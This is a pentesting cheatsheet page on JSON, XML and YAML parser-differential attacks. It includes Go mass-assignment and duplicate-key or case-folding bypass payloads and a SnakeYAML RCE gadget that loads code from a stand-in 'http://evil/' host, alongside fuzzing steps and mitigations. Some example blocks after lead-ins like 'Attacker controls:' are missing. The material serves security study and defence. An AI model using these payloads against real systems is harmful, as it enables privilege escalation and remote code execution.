repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
json-xml-yaml-hacking.mdMarkdown238 lines11.5 KiBsource raw download

title: "JSON, XML, and YAML Hacking and Issues" section: "Web Pentesting" sectionSlug: "pentesting-web" sourcePath: "src/pentesting-web/json-xml-yaml-hacking.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/json-xml-yaml-hacking.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

JSON, XML, and YAML Hacking and Issues#

Go JSON Decoder#

The following Go parser behaviors can create security problems when different components interpret the same input differently. They were analyzed in this Trail of Bits post, and the Go documentation explicitly records several encoding/json interoperability behaviors.[1][4]

Parser differentials and permissive application-level validation can be abused to bypass authorization, escalate privileges, or exfiltrate sensitive data. The risky behavior is often the composition of parsers and trust decisions, rather than memory-unsafe parsing by itself.[1]

(Un)Marshaling Unexpected Data#

The goal is to find exported struct fields that an application did not intend an attacker to set, such as IsAdmin or Password.[1][4]

type User struct {
    Username string `json:"username,omitempty"`
    Password string `json:"password,omitempty"`
    IsAdmin  bool   `json:"-"`
}
  1. Missing tag (no tag = field is still parsed by default):
type User struct {
    Username string
}

Payload:

{"Username": "admin"}
  1. Incorrect use of -:
type User struct {
    IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}

Payload:

{"-": true}

✔️ Proper way to block field from being (un)marshaled:

type User struct {
    IsAdmin bool `json:"-"`
}

Parser Differentials#

The goal is to bypass authorization by exploiting how different parsers interpret the same payload. Real cases include CouchDB's duplicate-key administrator bypass, a Zoom XMPP/XML parser differential, and GitLab's 2025 SAML parser-confusion bypass.[5][6][7]

1. Duplicate Fields (legacy encoding/json v1 semantics): Go's encoding/json processes duplicate members in order; later scalar values replace earlier ones, while maps and structs can merge values.[4]

json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction

Other parsers or configurations may reject duplicates, preserve the first value, or also preserve the last value. This becomes exploitable when security checks and business logic disagree about the same object.[1][4]

2. Case-insensitive matching (legacy encoding/json v1 semantics): Go's legacy decoder matches JSON names to struct fields case-insensitively:

json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field

Unicode simple-fold equivalents can also match. For example, the long-s character can collide with ASCII s, and the Kelvin sign can collide with ASCII K in field names:[1]

json.Unmarshal([]byte(`{"Uſername":"admin"}`), &user)
// may match the exported field Username

json.Unmarshal([]byte(`{"Key":"value"}`), &record)
// may match the exported field Key

3. Cross-service mismatch: Imagine:

Attacker sends:

{
  "action": "UserAction",
  "AcTiOn": "AdminAction"
}

Data Format Confusion (Polyglots)#

The goal is to exploit systems that mix formats (JSON/XML/YAML) or fail open on parser errors. In CVE-2020-16250, Vault's AWS authentication trusted identity data obtained through a content-type/parser confusion involving AWS STS responses.[8]

Attacker controls:

Go’s XML parser parsed it anyway and trusted the injected identity.

{
  "action": "Action_1",
  "AcTiOn": "Action_2",
  "ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}

Result:

Go 1.27: strict encoding/json/v2 defaults#

Go 1.27 made encoding/json/v2 and encoding/json/jsontext standard packages. Unlike the legacy v1 API, v2 rejects duplicate object names and invalid UTF-8 by default; the existing encoding/json API remains compatible with v1 behavior even though its implementation is backed by v2. Therefore, fingerprint the API and options actually used by each service instead of assuming every Go 1.27 binary is strict.[4][12]

A duplicate-name probe that v2 rejects by default is:[12]

import json "encoding/json/v2"

err := json.Unmarshal([]byte(`{"role":"user","role":"admin"}`), &dst)
// err != nil

This is also a migration hazard: a gateway using v2 defaults may reject an input that a downstream service using v1 would accept, while compatibility options can deliberately restore permissive behavior. Test duplicate names, malformed UTF-8, case variants, and unknown members at every trust boundary.[4][12]


Differential Fuzzing of Parser Chains#

Crossy is the research artifact for cross-language, coverage-guided differential testing of JSON parsers. It builds parser harnesses in isolated containers, feeds the same corpus to several implementations, and reports semantic disagreements instead of looking only for crashes. This is useful when a proxy, policy engine, signature verifier, and backend do not use the same parser.[11]

git clone https://github.com/j-moeller/crossy
cd crossy
make
make run
# Inside the runner container:
./build/crossy configs/json/* -o ./output/ -- corpus \
  -detect_leaks=0 -artifact_prefix=./output/

Prioritize seeds that exercise duplicate or case-colliding names, escaped and non-ASCII keys, invalid UTF-8/lone surrogates, large or exponent-form numbers, deeply nested values, and leading/trailing data. Minimize each disagreement, then replay the exact raw bytes through the real gateway and backend: reserialization before the second parser may erase the differential.[11]


Notable Parser Vulnerabilities (2023-2025)#

The following publicly-exploitable issues show that insecure parsing is a multi-language problem — not just a Go problem.

SnakeYAML Deserialization RCE (CVE-2022-1471)#

!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]

libyaml Double-Free (CVE-2024-35325)#

RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)#


🔐 Mitigations (Updated)#

Risk Fix / Recommendation
Unknown fields (JSON) decoder.DisallowUnknownFields()
Duplicate fields (JSON) Prefer encoding/json/v2 defaults on Go 1.27+; otherwise pre-scan/reject duplicates (DisallowUnknownFields does not reject them)
Case-insensitive match (Go v1) Migrate security boundaries to encoding/json/v2, or validate exact keys before v1 unmarshaling
XML shape / format confusion Keep encoding/xml.Decoder.Strict enabled, reject unexpected directives/tokens, validate the root/schema, and enforce the expected content type
YAML unknown keys yaml.KnownFields(true)
Unsafe YAML deserialization Use SafeConstructor / upgrade to SnakeYAML ≥2.0
libyaml ≤0.2.5 double-free Upgrade to 0.2.6 or distro-patched release
RapidJSON <patched commit Compile against latest RapidJSON (≥July 2024)

See also#

Mass Assignment Cwe 915

See HTTP parameter pollution and JSON key-collision payloads and XXE/XEE for their format-specific attack payloads.

References#